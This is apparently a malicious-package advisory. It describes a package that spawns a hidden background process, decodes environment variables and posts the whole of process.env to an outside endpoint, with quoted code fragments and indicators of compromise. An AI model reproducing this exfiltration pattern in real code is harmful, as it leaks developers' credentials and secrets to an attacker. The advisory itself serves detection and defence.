GCVE-110-OSM-2026-5396

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code. Entrypoint: index.js (main: index.js) Exfil: https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df (custom-c2, recovery: decoded in lib/initializeCaller.js) Payload: lib/initializeCaller.js Secondary files: [deobfuscated] lib/initializeCaller.js Key findings: - Stealth Background Process Spawning in index.js: "spawn('node', [scriptPath, JSON.stringify(args)], { detached: true, stdi..." - Environment Variable Exfiltration in lib/initializeCaller.js: "process.env.DEV_SECRET_KEY); const apiHeaderValue = atob(process.env.DEV_SECRE..." - Global Variable Shadowing in lib/initializeCaller.js: "const process = {" - Base64 Decoded Environment Variable in lib/initializeCaller.js: "atob(process.env." - Fetch and Eval/Exec in lib/initializeCaller.js: "axios.post( apiEndpoint, { ...process.env }, { headers: ..." IOCs: - urls: http://192.168.1.42:9200, https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df - domains: ipcheck-hashed.vercel.app - payloadFileHash: fc61b0ed62e346bfbb5e1e093e475d8b3065247dc8d315f0ea4e7cafd9661bad Decoded/deobfuscated IOCs: - urls: https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df - domains: ipcheck-hashed.vercel.app